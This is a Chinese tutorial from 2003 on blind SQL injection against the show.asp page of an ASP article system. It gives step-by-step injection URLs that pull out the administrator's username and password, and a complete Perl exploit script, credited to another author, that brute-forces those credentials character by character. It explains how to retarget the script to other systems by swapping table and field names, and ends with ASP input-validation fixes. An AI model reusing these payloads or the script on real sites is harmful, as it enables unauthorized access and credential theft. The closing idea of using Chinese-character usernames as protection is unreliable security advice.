最近没有事做。帮朋友看看站点的安全性,这个站点是使用的是盗帅文章系统2002特别版,这是最新的版本了吧,现在是2003年7月了,我不知道还有怎么样的漏洞,先去找一个来研究一下代码还有熟悉一下数据库的结构。看到show.asp这个文件的时候发现这里:
Set rs = Server.CreateObject("ADODB.Recordset") sql="SELECT * FROM article where id="&id rs.OPEN sql, Conn,1,3 if rs.eof then article="没有该文章" else
再看看
这些被引用的文件中,没有一个是对提交的数据做了检查的。果然有漏洞。最主要是没有禁止空格(仅禁止空格是不够的,这里是相对这个程序而言),这样就可以进行跨表查询了,顾名思义,就是提交精心构造的语句查询其他表里面的数据。这个show.asp的id没有检查就放进查询语句,查询的表是article,我们通过提交子查询语句来查询admin里面的用户名和密码。这样就是跨表查询了。也是Sql Injection的一种,最近学习Web安全上瘾,写篇文章来巩固一下。本文涉及知识点比较多,难免乱,写得不好请见谅。如果发现有错漏的地方希望能和我联系、交流。感激不尽。
注意:在实际中,浏览器会自动把地址栏中的空格转换为%20,以下所有提交的语句中包含的%20我已经全部处理掉,这样大家看得更加清楚。
跨表查询的是通过什么来判断呢?通过提交的等式、不等式看返回的页面。比如在提交:
http:// 127.0.0.1/show.asp?id=1 and 1=1 http:// 127.0.0.1/show.asp?id=1 and 1=2
看到后面的1=1、1=2就是一个关键,前者值为真、后者值为假。如果漏洞存在,一般返回的两个不同的页面或者不同的错误信息。拿具体的来说就是刚才我们看的盗帅文章系统2002特别版。当我们提交第一句的时候文章正常显示,提交第二句的时候返回“没有该文章”,这样我们就可以通过页面的信息判断我们提交的子查询是否获得正确信息。下面来看看这句SQL查询语句。
select 字段 from 表 where 某标准,这句话的意思就是以某标准查询在某表中的某字段, select min(id) from admin where len(admin)=5这句的意思可以这样理解,以字段admin中长度为5的字符串为标准在admin表中查询id字段中的最小值。我这样解释可能比较难理解,我是根据语句的解释来解释含义的,这里涉及的函数我们就不讨论了,大家可以去翻翻专业的数据库书籍。这句查询语句是查询id的,所以返回的就是id字段中的值,比如返回2,那么在刚才的
http://127.0.0.1/show.asp?id=1 and 1=(select min(id) from admin where len(admin)=5) 也相当于 http:// 127.0.0.1/show.asp?id=1 and 1=2 返回“没有该文章”,因此为假值,当我们提交 http://127.0.0.1/show.asp?id=1 and 2=(select min(id) from admin where len(admin)=5)
正常显示文章,说明id后跟的是等式,所以我们要查询的最小id字段中的值是2。下面我把所提交的语句得到真值的结果全部写出来,大家结合上面的理论很容易就可以理解了。为了容易看,我把浏览器所产生的都去掉了。
http://127.0.0.1/show.asp?id=1 and 1=(select min(id) from admin where qx=2) --获得管理员权限的最小id值为1, http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(admin)=5) --获得id为1的管理员的用户名长度为5, http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(pass)=5) --获得id为1的管理员的密码长度为5, http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(admin,5)= admin) --获得id为1的管理员从左边数起的5位用户名为admin, http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(pass,5)= admin) --获得id为1的管理员从左边数起的5位密码为admin,
注意:如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)= ‘1’ 否则程序会出错。
制作Exploit
这样就可以知道管理员的用户名和密码了。但是实际中,没有哪个安全意识高的管理员的密码是8位以下的。用户名也一样。如果我们真的靠手工提交语句。那我们真的要等到老了。我们的网费不允许啊……所以我们要做一个Exploit来为我们完成琐屑的工作。这方面的Exploit当然用Perl写比较好了。但我们这种菜鸟不会写怎么办?活学活用。修改别人的。下面我们来分析一下由wawa写的Crack user&pass for DV_article system。感谢wawa。
#!/usr/bin/perl #The script Crack user&pass for DV_article system #Code by wawa@21cn.com #Grouppage Http://www.Haowawa.com/ #Homepage Http://wawa.Haowawa.com/
use IO::Socket;
system('cls'); $ARGC = @ARGV; if ($ARGC != 4) { print "\n\n"; print "\t* The script Crack user&pass for DV_article system *\n"; print "\n\t Welcom to www.Haowawa.com && wawa.haowawa.com\n"; print "\n\tExample: dvTxt.pl 127.0.0.1 /txt/list.asp 53 \"没有找到相关文章\"\n"; print "\t dvTxt.pl \n\n\n"; exit; }
$host = @ARGV[0]; $way = @ARGV[1]; $txtid = @ARGV[2]; $errinfo =@ARGV[3]; $port = 80;
print "\n\t* Welcom to http://www.Haowawa.com && http://wawa.haowawa.com *\n"; print "\n\n开始在 $host 上进行测试,请等待......\n";
for ($adminid=1;$adminid<=100;$adminid++) { $way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)";
&url;@res = &connect;
#print @res;
if ("@res" !~ /$errinfo/) { print "\n\t* 发现一管理员ID号为: $adminid \n"; last; } }
for ($passlen=1;$passlen<=10;$passlen++) { $way1 = "?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)";
&url;@res = &connect;
if ("@res" !~ /$errinfo/) { print "\n\t* 发现ID=$adminid的管理员的密码长度为: $passlen 位\n"; last; } }
for ($userlen=1;$userlen<=20;$userlen++) { $way1 = "?id=$txtid%20AND%20$userlen=(select%20len(username)%20from%20admin%20where%20id=$adminid)";
&url;@res = &connect;
if ("@res" !~ /$errinfo/) { print "\n\t* 发现ID=$adminid的管理员的用户名长度为: $userlen 位\n"; last; } }
@dig=(0..9); @char=(a..z); @tchar=qw(` ~ ! + @ # $ ^ * \( \) _ = - { } [ ] : " ; < > ? | , . / \\); @dic=(@dig,@char,@tchar); @dic1=(@char,@dig,@tchar);
print "\n开始尝试获取ID=$adminid的管理员的用户名及密码,请等待......\n";
for ($userlocat=1;$userlocat<=$userlen;$userlocat++) { foreach $usertemp(@dic1) { $user=$userdic.$usertemp;
$way1 = "?id=$txtid%20AND%20'$user'=(select%20mid(username,1,$userlocat)%20from%20admin%20where%20id=$adminid)";
&url;@res = &connect;
if ("@res" !~ /$errinfo/) { if ($userlocat==$userlen){print "\n\n\t* 获取成功!!! ID=$adminid的管理员名字是: $user\n";last;} print "\n\t* ID=$adminid的管理员名字的前 $userlocat 位为 $user"; $userdic=$userdic.$usertemp; last; } } }
for ($passlocat=1;$passlocat<=$passlen;$passlocat++) { foreach $passtemp(@dic) { $pass=$passdic.$passtemp;
$way1 = "?id=$txtid%20AND%20'$pass'=(select%20mid(password,1,$passlocat)%20from%20admin%20where%20id=$adminid)";
&url;@res = &connect;
if ("@res" !~ /$errinfo/) { if ($passlocat==$passlen){print "\n\n\t* 获取成功!!! ID=$adminid的管理员密码是: $pass";last;} print "\n\t* ID=$adminid的管理员密码的前 $passlocat 位为 $pass"; $passdic=$passdic.$passtemp; last; } } }
print "\n\n\n\t* 测试完毕. 获取到一个用户名为$user密码为$pass的管理员权限! *\n"; print "\n\n\n"; #system('pause');
sub url { $req = "GET $way$way1 HTTP/1.0\n". "Host: $host\n". "Referer: $host\n". "Cookie: \n\n"; }
sub connect { my $connection = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) die "Sorry! Could not connect to $host \n";
print $connection $req; my @res = <$connection>; close $connection; return @res; }
其实这类脚本都是差不多一个道理,利用某一个文件的漏洞来进行跨表查询的操作。尽管你看不懂大多数代码,但刚才我们不是学习了那个SQL查询语句吗?我们就可以依葫芦画瓢把这个针对动网的Exploit改为针对盗帅文章的了,想改成什么的都可以啊。看这句:
for ($adminid=1;$adminid<=100;$adminid++) { $way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)";
上面的$adminid变量是定义管理员id的取值范围1-100,$后面的都是变量。不用去改。(select%20min(id)%20from%20admin%20where%20flag=1)这里就是我们要改的查询语句。动网的admin表里面的flag字段等于1的是管理员,而盗帅的是字段qx等于2的是管理员。我们就可以把flag=1改为qx=2,from%20admin里面意思是从admin里查询。盗帅的和动网一样。我们就不用改了。改完后的代码如下:
for ($adminid=1;$adminid<=100;$adminid++) { $way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20qx=2)";
再看这句:
for ($passlen=1;$passlen<=10;$passlen++) { $way1 = "?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)";
上面是$passlen变量也是定义取值范围,也是密码长度。动网的存放密码的字段是password,盗帅的是pass,所以我们要把password改为pass,改完后就是这样:
for ($passlen=1;$passlen<=50;$passlen++) { $way1 = "?id=$txtid%20AND%20$passlen=(select%20len(pass)%20from%20admin%20where%20id=$adminid)";
由于盗帅的密码最大长度是50,所以我们也不得不把$passlen的最大值改为50(好变态哦),
其他的地方大家应该会改了吧?都是依葫芦画瓢的,只要表名、字段名、数据长度对就可以了。但是真的要写出好的Exploit,还得下大力气精通那些编程语言。毕竟这是修改别人的嘛……
解决办法
上面说了那么多攻击方法,下面说说出现这类漏洞如何解决。因为是没有检查提交的变量。那我们就要加一些代码来检查一下。把下面的短短代码加入到查询语句的前面。这样就会先检查提交的变量,才放到SQL查询语句中。
dim idid idid=replace(request("id")," ","") if isnumeric(idid)=0 or idid="" then response.write "禁止提交非法语句!" response.end end if
注意,这里声明了一个idid变量,用来检查id,所以后面的查询语句中的id要改为idid,这样不管别人是提交单引号、分号还是and 1=1、and 1=2都是显示“禁止提交非法语句!”这样谁还能判断真假啊?这里也给广大ASP开发人员提个醒,凡是放到SQL查询语句的变量都要经过严格检查,禁止一切特殊字符。安全的程序,用户用得也安心。还有另一种方法,看下面这段代码:
Function isInt(str) Dim L,I isInt=False If Trim(Str)="" Or IsNull(str) Then Exit Function str=CStr(Trim(str)) L=Len(Str) For I=1 To L If Mid(Str,I,1)>"9" Or Mid(Str,I,1)<"0" Then Exit Function Next isInt=True End Function
Function CheckStr(Str) If Trim(Str)="" Or IsNull(str) Then Exit Function Checkstr=Replace(Trim(Str),"'","''") End Function
Dim id id=CheckStr(Request.QueryString("id")) If isInt(ID)=False Then Response.Redirect "index.asp" End If
这里写了两个Function过程来判断数字是否整形,还有检查一些非法字符。如果有则跳回index.asp这个页面。其实也和上面的一样,上面是给出错误信息。第二种方法是跳转页面。大家可以试试。多掌握一种方法也不是坏事啊。方法是多种多样的,还有不少没有举例。大家自己去探索吧。
如果实在不会改,还有一个下策就是使用中文用户名。中国的文字有多少?大家自己看看吧。还有,提交中文的语句,大家也可以看看有什么有趣的提示。也不失为一个好办法。呵呵。
|